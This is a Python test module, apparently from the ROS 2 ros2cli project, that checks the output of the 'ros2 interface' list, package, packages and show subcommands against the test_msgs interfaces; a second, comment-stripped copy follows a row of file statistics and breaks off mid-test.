# limitations under the License.
import contextlib
import itertools
import re
import sys
import unittest
from launch import LaunchDescription
from launch.actions import ExecuteProcess
import launch_testing
import launch_testing.actions
import launch_testing.asserts
import launch_testing.markers
import launch_testing.tools
import pytest
# Skip cli tests on Windows while they exhibit pathological behavior
# https://github.com/ros2/build_farmer/issues/248
if sys.platform.startswith('win'):
pytest.skip(
'CLI tests can block for a pathological amount of time on Windows.',
allow_module_level=True)
some_messages_from_test_msgs = [
'test_msgs/msg/BasicTypes',
'test_msgs/msg/Constants',
'test_msgs/msg/Strings',
]
some_services_from_test_msgs = [
'test_msgs/srv/Arrays',
'test_msgs/srv/BasicTypes',
'test_msgs/srv/Empty',
]
some_actions_from_test_msgs = [
'test_msgs/action/Fibonacci'
]
some_interfaces = (
some_messages_from_test_msgs +
some_services_from_test_msgs +
some_actions_from_test_msgs
)
@pytest.mark.rostest
@launch_testing.markers.keep_alive
def generate_test_description():
return LaunchDescription([launch_testing.actions.ReadyToTest()])
class TestROS2InterfaceCLI(unittest.TestCase):
@classmethod
def setUpClass(
cls,
launch_service,
proc_info,
proc_output
):
@contextlib.contextmanager
def launch_interface_command(self, arguments, prepend_arguments=[], shell=False):
interface_command_action = ExecuteProcess(
cmd=[*prepend_arguments, 'ros2', 'interface', *arguments],
additional_env={'PYTHONUNBUFFERED': '1'},
name='ros2interface-cli',
shell=shell,
output='screen'
)
with launch_testing.tools.launch_process(
launch_service, interface_command_action, proc_info, proc_output
) as interface_command:
yield interface_command
cls.launch_interface_command = launch_interface_command
def test_list_interfaces(self):
with self.launch_interface_command(arguments=['list']) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
filter_ = launch_testing.tools.basic_output_filter(
filtered_prefixes=['Messages:', 'Services:', 'Actions:']
)
output_lines = filter_(interface_command.output).splitlines()
assert launch_testing.tools.expect_output(
expected_lines=itertools.repeat(
re.compile(r'\s*[A-z0-9_]+(/[A-z0-9_]+)+'), len(output_lines)
),
lines=output_lines,
strict=True
)
assert launch_testing.tools.expect_output(
expected_lines=some_interfaces,
lines=output_lines,
strict=False
)
def test_list_messages(self):
with self.launch_interface_command(arguments=['list', '-m']) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
output_lines = interface_command.output.splitlines()
assert launch_testing.tools.expect_output(
expected_lines=itertools.chain(
['Messages:'], itertools.repeat(
re.compile(r'\s*[A-z0-9_]+(/[A-z0-9_]+)+'), len(output_lines) - 1
)
),
lines=output_lines,
strict=True
)
assert launch_testing.tools.expect_output(
expected_lines=some_messages_from_test_msgs,
lines=output_lines,
strict=False
)
def test_list_services(self):
with self.launch_interface_command(arguments=['list', '-s']) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
output_lines = interface_command.output.splitlines()
assert launch_testing.tools.expect_output(
expected_lines=itertools.chain(
['Services:'], itertools.repeat(
re.compile(r'\s*[A-z0-9_]+(/[A-z0-9_]+)+'), len(output_lines) - 1
)
),
lines=output_lines,
strict=True
)
assert launch_testing.tools.expect_output(
expected_lines=some_services_from_test_msgs,
lines=output_lines,
strict=False
)
def test_list_actions(self):
with self.launch_interface_command(arguments=['list', '-a']) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
output_lines = interface_command.output.splitlines()
assert launch_testing.tools.expect_output(
expected_lines=itertools.chain(
['Actions:'], itertools.repeat(
re.compile(r'\s*[A-z0-9_]+(/[A-z0-9_]+)+'), len(output_lines) - 1
)
),
lines=output_lines,
strict=True
)
assert launch_testing.tools.expect_output(
expected_lines=some_actions_from_test_msgs,
lines=output_lines,
strict=False
)
def test_package_on_nonexistent_package(self):
with self.launch_interface_command(
arguments=['package', 'not_a_package']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == 1
assert launch_testing.tools.expect_output(
expected_lines=["Unknown package 'not_a_package'"],
text=interface_command.output,
strict=True
)
def test_package_on_test_msgs(self):
with self.launch_interface_command(
arguments=['package', 'test_msgs']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
output_lines = interface_command.output.splitlines()
assert launch_testing.tools.expect_output(
expected_lines=itertools.repeat(
re.compile(r'test_msgs/(msg|srv|action)/[A-z0-9_]+'), len(output_lines)
),
lines=output_lines,
strict=True
)
assert all(interface in output_lines for interface in some_interfaces)
def test_packages(self):
with self.launch_interface_command(arguments=['packages']) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
output_lines = interface_command.output.splitlines()
assert 'test_msgs' in output_lines
def test_packages_with_messages(self):
with self.launch_interface_command(
arguments=['packages', '-m']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
output_lines = interface_command.output.splitlines()
assert 'test_msgs' in output_lines
def test_packages_with_services(self):
with self.launch_interface_command(
arguments=['packages', '-s']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
output_lines = interface_command.output.splitlines()
assert 'test_msgs' in output_lines
def test_packages_with_actions(self):
with self.launch_interface_command(
arguments=['packages', '-a']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
output_lines = interface_command.output.splitlines()
assert 'test_msgs' in output_lines
def test_show_message(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/msg/BasicTypes']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'bool bool_value',
'byte byte_value',
'char char_value',
'float32 float32_value',
'float64 float64_value',
'int8 int8_value',
'uint8 uint8_value',
'int16 int16_value',
'uint16 uint16_value',
'int32 int32_value',
'uint32 uint32_value',
'int64 int64_value',
'uint64 uint64_value',
],
text=interface_command.output,
strict=True
)
def test_show_all_comments_for_message(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/msg/Builtins', '--all-comments']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'builtin_interfaces/Duration duration_value',
'\t# Duration defines a period between two time points.',
'\t# Messages of this datatype are of ROS Time following this design:',
'\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t# Seconds component, range is valid over any possible int32 value.',
'\tint32 sec',
'',
'\t# Nanoseconds component in the range of [0, 10e9).',
'\tuint32 nanosec',
'builtin_interfaces/Time time_value',
'\t# This message communicates ROS Time defined here:',
'\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t# The seconds component, valid over all int32 values.',
'\tint32 sec',
'',
'\t# The nanoseconds component, valid in the range [0, 10e9).',
'\tuint32 nanosec',
],
text=interface_command.output,
strict=True
)
def test_show_no_comments_for_message(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/msg/Builtins', '--no-comments']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'builtin_interfaces/Duration duration_value',
'\tint32 sec',
'\tuint32 nanosec',
'builtin_interfaces/Time time_value',
'\tint32 sec',
'\tuint32 nanosec',
],
text=interface_command.output,
strict=True
)
def test_show_service(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/srv/BasicTypes']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'bool bool_value',
'byte byte_value',
'char char_value',
'float32 float32_value',
'float64 float64_value',
'int8 int8_value',
'uint8 uint8_value',
'int16 int16_value',
'uint16 uint16_value',
'int32 int32_value',
'uint32 uint32_value',
'int64 int64_value',
'uint64 uint64_value',
'string string_value',
'---',
'bool bool_value',
'byte byte_value',
'char char_value',
'float32 float32_value',
'float64 float64_value',
'int8 int8_value',
'uint8 uint8_value',
'int16 int16_value',
'uint16 uint16_value',
'int32 int32_value',
'uint32 uint32_value',
'int64 int64_value',
'uint64 uint64_value',
'string string_value',
],
text=interface_command.output,
strict=True
)
def test_show_action(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/action/Fibonacci']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'#goal definition',
'int32 order',
'---',
'#result definition',
'int32[] sequence',
'---',
'#feedback',
'int32[] sequence',
],
text=interface_command.output,
strict=True
)
def test_show_nested_message(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/msg/Nested']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'BasicTypes basic_types_value',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
],
text=interface_command.output,
strict=True
)
def test_show_nested_action(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/action/NestedMessage']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'# goal definition',
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\tint32 sec',
'\tuint32 nanosec',
'---',
'# result definition',
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\tint32 sec',
'\tuint32 nanosec',
'---',
'# feedback',
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\tint32 sec',
'\tuint32 nanosec',
],
text=interface_command.output,
strict=True
)
def test_show_no_comments_for_nested_action(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/action/NestedMessage', '--no-comments']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\tint32 sec',
'\tuint32 nanosec',
'---',
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\tint32 sec',
'\tuint32 nanosec',
'---',
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\tint32 sec',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\tint32 sec',
'\tuint32 nanosec',
],
text=interface_command.output,
strict=True
)
def test_show_all_comments_for_nested_action(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/action/NestedMessage', '--all-comments']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'# goal definition',
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\t# Duration defines a period between two time points.',
'\t\t# Messages of this datatype are of ROS Time following this design:',
'\t\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t\t# Seconds component, range is valid over any possible int32 value.',
'\t\tint32 sec',
'',
'\t\t# Nanoseconds component in the range of [0, 10e9).',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\t# This message communicates ROS Time defined here:',
'\t\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t\t# The seconds component, valid over all int32 values.',
'\t\tint32 sec',
'',
'\t\t# The nanoseconds component, valid in the range [0, 10e9).',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\t# This message communicates ROS Time defined here:',
'\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t# The seconds component, valid over all int32 values.',
'\tint32 sec',
'',
'\t# The nanoseconds component, valid in the range [0, 10e9).',
'\tuint32 nanosec',
'---',
'# result definition',
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\t# Duration defines a period between two time points.',
'\t\t# Messages of this datatype are of ROS Time following this design:',
'\t\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t\t# Seconds component, range is valid over any possible int32 value.',
'\t\tint32 sec',
'',
'\t\t# Nanoseconds component in the range of [0, 10e9).',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\t# This message communicates ROS Time defined here:',
'\t\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t\t# The seconds component, valid over all int32 values.',
'\t\tint32 sec',
'',
'\t\t# The nanoseconds component, valid in the range [0, 10e9).',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\t# This message communicates ROS Time defined here:',
'\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t# The seconds component, valid over all int32 values.',
'\tint32 sec',
'',
'\t# The nanoseconds component, valid in the range [0, 10e9).',
'\tuint32 nanosec',
'---',
'# feedback',
'Builtins nested_field_no_pkg',
'\tbuiltin_interfaces/Duration duration_value',
'\t\t# Duration defines a period between two time points.',
'\t\t# Messages of this datatype are of ROS Time following this design:',
'\t\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t\t# Seconds component, range is valid over any possible int32 value.',
'\t\tint32 sec',
'',
'\t\t# Nanoseconds component in the range of [0, 10e9).',
'\t\tuint32 nanosec',
'\tbuiltin_interfaces/Time time_value',
'\t\t# This message communicates ROS Time defined here:',
'\t\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t\t# The seconds component, valid over all int32 values.',
'\t\tint32 sec',
'',
'\t\t# The nanoseconds component, valid in the range [0, 10e9).',
'\t\tuint32 nanosec',
'test_msgs/BasicTypes nested_field',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
'builtin_interfaces/Time nested_different_pkg',
'\t# This message communicates ROS Time defined here:',
'\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t# The seconds component, valid over all int32 values.',
'\tint32 sec',
'',
'\t# The nanoseconds component, valid in the range [0, 10e9).',
'\tuint32 nanosec',
],
text=interface_command.output,
strict=True
)
def test_show_not_a_package(self):
with self.launch_interface_command(
arguments=['show', 'not_a_package/msg/String']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == 1
assert launch_testing.tools.expect_output(
expected_lines=["Unknown package 'not_a_package'"],
text=interface_command.output,
strict=True
)
def test_show_not_an_interface(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/msg/NotAMessageTypeName']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == 1
assert launch_testing.tools.expect_output(
expected_lines=[re.compile(
r"Could not find the interface '.+NotAMessageTypeName\.idl'"
)],
text=interface_command.output,
strict=True
)
def test_show_stdin(self):
with self.launch_interface_command(
arguments=['show', '-'],
prepend_arguments=[
sys.executable, '-c', r'"print(\"test_msgs/msg/BasicTypes\")"', '|'
],
shell=True
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'bool bool_value',
'byte byte_value',
'char char_value',
'float32 float32_value',
'float64 float64_value',
'int8 int8_value',
'uint8 uint8_value',
'int16 int16_value',
'uint16 uint16_value',
'int32 int32_value',
'uint32 uint32_value',
'int64 int64_value',
'uint64 uint64_value',
],
text=interface_command.output,
strict=True
)
| 40.931034 | 90 | 0.55568 |
import contextlib
import itertools
import re
import sys
import unittest
from launch import LaunchDescription
from launch.actions import ExecuteProcess
import launch_testing
import launch_testing.actions
import launch_testing.asserts
import launch_testing.markers
import launch_testing.tools
import pytest
if sys.platform.startswith('win'):
pytest.skip(
'CLI tests can block for a pathological amount of time on Windows.',
allow_module_level=True)
some_messages_from_test_msgs = [
'test_msgs/msg/BasicTypes',
'test_msgs/msg/Constants',
'test_msgs/msg/Strings',
]
some_services_from_test_msgs = [
'test_msgs/srv/Arrays',
'test_msgs/srv/BasicTypes',
'test_msgs/srv/Empty',
]
some_actions_from_test_msgs = [
'test_msgs/action/Fibonacci'
]
some_interfaces = (
some_messages_from_test_msgs +
some_services_from_test_msgs +
some_actions_from_test_msgs
)
@pytest.mark.rostest
@launch_testing.markers.keep_alive
def generate_test_description():
return LaunchDescription([launch_testing.actions.ReadyToTest()])
class TestROS2InterfaceCLI(unittest.TestCase):
@classmethod
def setUpClass(
cls,
launch_service,
proc_info,
proc_output
):
@contextlib.contextmanager
def launch_interface_command(self, arguments, prepend_arguments=[], shell=False):
interface_command_action = ExecuteProcess(
cmd=[*prepend_arguments, 'ros2', 'interface', *arguments],
additional_env={'PYTHONUNBUFFERED': '1'},
name='ros2interface-cli',
shell=shell,
output='screen'
)
with launch_testing.tools.launch_process(
launch_service, interface_command_action, proc_info, proc_output
) as interface_command:
yield interface_command
cls.launch_interface_command = launch_interface_command
def test_list_interfaces(self):
with self.launch_interface_command(arguments=['list']) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
filter_ = launch_testing.tools.basic_output_filter(
filtered_prefixes=['Messages:', 'Services:', 'Actions:']
)
output_lines = filter_(interface_command.output).splitlines()
assert launch_testing.tools.expect_output(
expected_lines=itertools.repeat(
re.compile(r'\s*[A-z0-9_]+(/[A-z0-9_]+)+'), len(output_lines)
),
lines=output_lines,
strict=True
)
assert launch_testing.tools.expect_output(
expected_lines=some_interfaces,
lines=output_lines,
strict=False
)
def test_list_messages(self):
with self.launch_interface_command(arguments=['list', '-m']) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
output_lines = interface_command.output.splitlines()
assert launch_testing.tools.expect_output(
expected_lines=itertools.chain(
['Messages:'], itertools.repeat(
re.compile(r'\s*[A-z0-9_]+(/[A-z0-9_]+)+'), len(output_lines) - 1
)
),
lines=output_lines,
strict=True
)
assert launch_testing.tools.expect_output(
expected_lines=some_messages_from_test_msgs,
lines=output_lines,
strict=False
)
def test_list_services(self):
with self.launch_interface_command(arguments=['list', '-s']) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
output_lines = interface_command.output.splitlines()
assert launch_testing.tools.expect_output(
expected_lines=itertools.chain(
['Services:'], itertools.repeat(
re.compile(r'\s*[A-z0-9_]+(/[A-z0-9_]+)+'), len(output_lines) - 1
)
),
lines=output_lines,
strict=True
)
assert launch_testing.tools.expect_output(
expected_lines=some_services_from_test_msgs,
lines=output_lines,
strict=False
)
def test_list_actions(self):
with self.launch_interface_command(arguments=['list', '-a']) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
output_lines = interface_command.output.splitlines()
assert launch_testing.tools.expect_output(
expected_lines=itertools.chain(
['Actions:'], itertools.repeat(
re.compile(r'\s*[A-z0-9_]+(/[A-z0-9_]+)+'), len(output_lines) - 1
)
),
lines=output_lines,
strict=True
)
assert launch_testing.tools.expect_output(
expected_lines=some_actions_from_test_msgs,
lines=output_lines,
strict=False
)
def test_package_on_nonexistent_package(self):
with self.launch_interface_command(
arguments=['package', 'not_a_package']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == 1
assert launch_testing.tools.expect_output(
expected_lines=["Unknown package 'not_a_package'"],
text=interface_command.output,
strict=True
)
def test_package_on_test_msgs(self):
with self.launch_interface_command(
arguments=['package', 'test_msgs']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
output_lines = interface_command.output.splitlines()
assert launch_testing.tools.expect_output(
expected_lines=itertools.repeat(
re.compile(r'test_msgs/(msg|srv|action)/[A-z0-9_]+'), len(output_lines)
),
lines=output_lines,
strict=True
)
assert all(interface in output_lines for interface in some_interfaces)
def test_packages(self):
with self.launch_interface_command(arguments=['packages']) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
output_lines = interface_command.output.splitlines()
assert 'test_msgs' in output_lines
def test_packages_with_messages(self):
with self.launch_interface_command(
arguments=['packages', '-m']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
output_lines = interface_command.output.splitlines()
assert 'test_msgs' in output_lines
def test_packages_with_services(self):
with self.launch_interface_command(
arguments=['packages', '-s']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
output_lines = interface_command.output.splitlines()
assert 'test_msgs' in output_lines
def test_packages_with_actions(self):
with self.launch_interface_command(
arguments=['packages', '-a']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
output_lines = interface_command.output.splitlines()
assert 'test_msgs' in output_lines
def test_show_message(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/msg/BasicTypes']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'bool bool_value',
'byte byte_value',
'char char_value',
'float32 float32_value',
'float64 float64_value',
'int8 int8_value',
'uint8 uint8_value',
'int16 int16_value',
'uint16 uint16_value',
'int32 int32_value',
'uint32 uint32_value',
'int64 int64_value',
'uint64 uint64_value',
],
text=interface_command.output,
strict=True
)
def test_show_all_comments_for_message(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/msg/Builtins', '--all-comments']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'builtin_interfaces/Duration duration_value',
'\t# Duration defines a period between two time points.',
'\t# Messages of this datatype are of ROS Time following this design:',
'\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t# Seconds component, range is valid over any possible int32 value.',
'\tint32 sec',
'',
'\t# Nanoseconds component in the range of [0, 10e9).',
'\tuint32 nanosec',
'builtin_interfaces/Time time_value',
'\t# This message communicates ROS Time defined here:',
'\t# https://design.ros2.org/articles/clock_and_time.html',
'',
'\t# The seconds component, valid over all int32 values.',
'\tint32 sec',
'',
'\t# The nanoseconds component, valid in the range [0, 10e9).',
'\tuint32 nanosec',
],
text=interface_command.output,
strict=True
)
def test_show_no_comments_for_message(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/msg/Builtins', '--no-comments']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'builtin_interfaces/Duration duration_value',
'\tint32 sec',
'\tuint32 nanosec',
'builtin_interfaces/Time time_value',
'\tint32 sec',
'\tuint32 nanosec',
],
text=interface_command.output,
strict=True
)
def test_show_service(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/srv/BasicTypes']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'bool bool_value',
'byte byte_value',
'char char_value',
'float32 float32_value',
'float64 float64_value',
'int8 int8_value',
'uint8 uint8_value',
'int16 int16_value',
'uint16 uint16_value',
'int32 int32_value',
'uint32 uint32_value',
'int64 int64_value',
'uint64 uint64_value',
'string string_value',
'---',
'bool bool_value',
'byte byte_value',
'char char_value',
'float32 float32_value',
'float64 float64_value',
'int8 int8_value',
'uint8 uint8_value',
'int16 int16_value',
'uint16 uint16_value',
'int32 int32_value',
'uint32 uint32_value',
'int64 int64_value',
'uint64 uint64_value',
'string string_value',
],
text=interface_command.output,
strict=True
)
def test_show_action(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/action/Fibonacci']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'#goal definition',
'int32 order',
'---',
'#result definition',
'int32[] sequence',
'---',
'#feedback',
'int32[] sequence',
],
text=interface_command.output,
strict=True
)
def test_show_nested_message(self):
with self.launch_interface_command(
arguments=['show', 'test_msgs/msg/Nested']
) as interface_command:
assert interface_command.wait_for_shutdown(timeout=2)
assert interface_command.exit_code == launch_testing.asserts.EXIT_OK
assert launch_testing.tools.expect_output(
expected_lines=[
'BasicTypes basic_types_value',
'\tbool bool_value',
'\tbyte byte_value',
'\tchar char_value',
'\tfloat32 float32_value',
'\tfloat64 float64_value',
'\tint8 int8_value',
'\tuint8 uint8_value',
'\tint16 int16_value',
'\tuint16 uint16_value',
'\tint32 int32_value',
'\tuint32 uint32_value',
'\tint64 int64_value',
'\tuint64 uint64_value',
],
text=interface_command.output,
